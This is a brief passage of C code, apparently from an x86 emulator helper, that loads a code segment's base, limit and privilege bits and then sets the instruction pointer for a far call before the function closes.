get_seg_base(ss_e1, ss_e2),
get_seg_limit(ss_e1,ss_e2),
ss_e2 & ~(3<<DESC_DPL_SHIFT));

//instruction pointer update for the call
EIP= new_eip;

//end of the helper
}
[....]

}
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